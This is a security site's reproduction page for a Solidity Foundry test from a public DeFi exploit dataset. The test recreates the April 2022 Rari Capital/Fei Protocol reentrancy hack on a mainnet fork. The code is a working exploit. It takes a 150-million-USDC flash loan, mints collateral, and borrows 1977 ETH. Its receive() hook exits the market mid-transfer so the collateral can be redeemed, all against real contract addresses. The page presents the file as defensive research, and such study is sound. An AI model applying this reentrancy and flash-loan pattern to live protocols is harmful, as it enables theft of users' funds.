Skip to content
THREATWIRE

Public reproduction file

src/test/2022-04/Rari_exp.sol

Public reproduction file for dataset entry Rari Capital/Fei Protocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-04/Rari_exp.sol101 lines
1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4
5import "forge-std/Test.sol";
6import "./../interface.sol";
7
8contract ContractTest is Test {
9 IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
11 ICEtherDelegate fETH_127 = ICEtherDelegate(payable(0x26267e41CeCa7C8E0f143554Af707336f27Fa051));
13 ICErc20Delegate fusdc_127 = ICErc20Delegate(0xEbE0d1cb6A0b8569929e062d67bfbC07608f0A47);
15 IUnitroller rari_Comptroller = IUnitroller(0x3f2D1BC6D02522dbcdb216b2e75eDDdAFE04B16F);
17 IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
18 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
20 function setUp() public {
21 cheats.createSelectFork("mainnet", 14_684_813); //fork mainnet at 14684813
22 }
24 function testExploit() public {
25 emit log_named_uint("ETH Balance of fETH_127 before borrowing", address(fETH_127).balance / 1e18);
27 payable(address(0)).transfer(address(this).balance);
29 emit log_named_uint("ETH Balance after sending to blackHole", address(this).balance);
31 address[] memory tokens = new address[](1);
33 tokens[0] = address(usdc);
35 uint256[] memory amounts = new uint256[](1);
37 amounts[0] = 150_000_000 * 10 ** 6;
39 vault.flashLoan(address(this), tokens, amounts, "");
40 }
42 function receiveFlashLoan(
43 IERC20[] memory tokens,
44 uint256[] memory amounts,
45 uint256[] memory feeAmounts,
46 bytes memory userData
47 ) external {
48 tokens;
49 amounts;
50 feeAmounts;
51 userData;
53 uint256 usdc_balance = usdc.balanceOf(address(this));
54 emit log_named_uint("Borrow USDC from balancer", usdc_balance);
55 usdc.approve(address(fusdc_127), type(uint256).max);
57 fusdc_127.accrueInterest();
59 fusdc_127.mint(15_000_000_000_000);
61 uint256 fETH_Balance = fETH_127.balanceOf(address(this));
63 emit log_named_uint("fETH Balance after minting", fETH_Balance);
65 usdc_balance = usdc.balanceOf(address(this));
67 emit log_named_uint("USDC balance after minting", usdc_balance);
69 address[] memory ctokens = new address[](1);
71 ctokens[0] = address(fusdc_127);
73 rari_Comptroller.enterMarkets(ctokens);
75 fETH_127.borrow(1977 ether);
77 emit log_named_uint("ETH Balance of fETH_127_Pool after borrowing", address(fETH_127).balance / 1e18);
79 emit log_named_uint("ETH Balance of me after borrowing", address(this).balance / 1e18);
81 usdc_balance = usdc.balanceOf(address(this));
83 fusdc_127.approve(address(fusdc_127), type(uint256).max);
85 fusdc_127.redeemUnderlying(15_000_000_000_000);
87 usdc_balance = usdc.balanceOf(address(this));
89 emit log_named_uint("USDC balance after borrowing", usdc_balance);
91 usdc.transfer(address(vault), usdc_balance);
93 usdc_balance = usdc.balanceOf(address(this));
95 emit log_named_uint("USDC balance after repayying", usdc_balance);
96 }
98 receive() external payable {
99 rari_Comptroller.exitMarket(address(fusdc_127));
100 }

Analysis

Dataset entry

Public Foundry test for “Rari Capital/Fei Protocol” (2022-04-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Rari Capital/Fei Protocol
Path
src/test/2022-04/Rari_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ddf9335d53f30f151625c691614983a4a8fc0b99
Language
Solidity
Size
102 lines
Date
2022-04-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-04/Rari_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ddf9335d53f30f151625c691614983a4a8fc0b99, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.